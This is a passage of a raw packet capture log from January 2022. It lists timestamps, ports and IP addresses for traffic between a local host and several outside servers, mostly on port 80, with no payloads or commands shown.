Jan 14, 2022 09:26:02.943325996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943341970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943487883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943504095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943921089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.943937063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944170952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944186926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944371939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944387913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944547892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944564104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944725037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944741011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944897890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.944914103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945086002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945101023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945250988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945266962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945414066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945430040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945573092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945590019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945740938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945755959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945902109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.945920944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946080923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946104050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946235895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946254969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946398973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946424961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946582079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946599960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946763992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946784973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946924925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.946943998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947097063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947115898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947277069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947290897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947454929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947473049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947616100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947630882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947777987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947797060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947966099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.947981119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948138952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948158026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948297024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948455095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948533058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948640108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948792934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948808908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948895931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.948986053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.949091911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.949882030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.953505039 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953550100 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953588009 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953603983 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.953622103 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953661919 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953691006 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.953701973 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953742027 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953769922 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.953782082 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953823090 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953854084 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.953882933 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953928947 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.953941107 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.953969002 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954010010 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954049110 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954087973 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954112053 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954128027 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954168081 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954176903 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954210997 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954252958 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954258919 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954296112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954339981 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954389095 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954428911 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954463005 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954471111 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954511881 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954530954 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954550982 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954588890 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954600096 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954627037 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954668999 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954710960 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954751015 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954778910 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954792023 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954832077 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954843044 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954874039 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954916000 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.954946041 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.954960108 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955001116 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955054998 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955059052 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955086946 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955111980 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955117941 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955147982 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955168962 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955176115 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955205917 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955235004 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955236912 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955262899 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955286980 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955291986 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955321074 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955348015 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955348969 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955378056 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955404997 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955405951 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955435038 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955462933 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955465078 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955499887 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955532074 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955537081 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955560923 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955590010 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955604076 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955621958 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955648899 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955650091 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955678940 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955707073 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955734015 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955734968 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955761909 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955761909 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955790043 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955816031 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955817938 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955848932 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955876112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955904961 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955933094 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955933094 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955960035 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.955987930 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.955987930 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956015110 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956043005 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956043959 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956074953 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956101894 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956103086 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956129074 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956156015 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956156969 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956185102 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956212044 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956238985 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956240892 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956264973 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956267118 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956295967 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956321955 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956322908 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956350088 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956376076 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956377029 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956406116 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956432104 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956433058 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956461906 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956490040 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956491947 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956520081 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956545115 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956546068 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956578016 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956613064 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956633091 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956660986 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956687927 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956688881 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956717968 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956748009 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956758976 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956777096 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956804037 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956825972 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956831932 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956861019 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956888914 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956890106 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956916094 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956918001 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956945896 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.956970930 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.956974030 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.957017899 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.957043886 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.957046032 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.957073927 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.957099915 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.957102060 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.957130909 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.957156897 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.957156897 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.957186937 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.957210064 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.969624996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.969672918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.969713926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.969860077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.969882011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970069885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970086098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970244884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970262051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970419884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970436096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970597982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970613956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970777035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970793009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970949888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.970967054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.971132040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.971148014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.971741915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.973397017 CET	38133	49882	86.107.197.138	192.168.2.4
Jan 14, 2022 09:26:02.973431110 CET	38133	49882	86.107.197.138	192.168.2.4
Jan 14, 2022 09:26:02.973457098 CET	38133	49882	86.107.197.138	192.168.2.4
Jan 14, 2022 09:26:02.973495960 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:26:02.974360943 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974400997 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974427938 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974446058 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974447966 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974489927 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974495888 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974534988 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974540949 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974581003 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974581957 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974627018 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974632978 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974670887 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974678993 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974715948 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974721909 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974759102 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974766970 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974805117 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974836111 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974843979 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974889040 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974903107 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.974937916 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.974983931 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975013971 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975028038 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975064993 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975073099 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975100040 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975116014 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975142002 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975161076 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975188971 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975208044 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975213051 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975250006 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975265980 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975295067 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975323915 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975338936 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975384951 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975419998 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975430012 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975471973 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975486040 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975517035 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975569010 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975573063 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975584030 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975675106 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975703955 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975722075 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975747108 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975764036 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975788116 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975802898 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975832939 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975837946 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975862980 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975868940 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975888968 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975893974 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975919008 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975924015 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975948095 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975955963 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.975980043 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.975986958 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976011992 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976017952 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976042986 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976049900 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976070881 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976078987 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976104975 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976109028 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976133108 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976140022 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976161957 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976170063 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976191044 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976200104 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976223946 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976229906 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976254940 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976260900 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976284981 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976290941 CET	80	49906	8.209.70.0	192.168.2.4
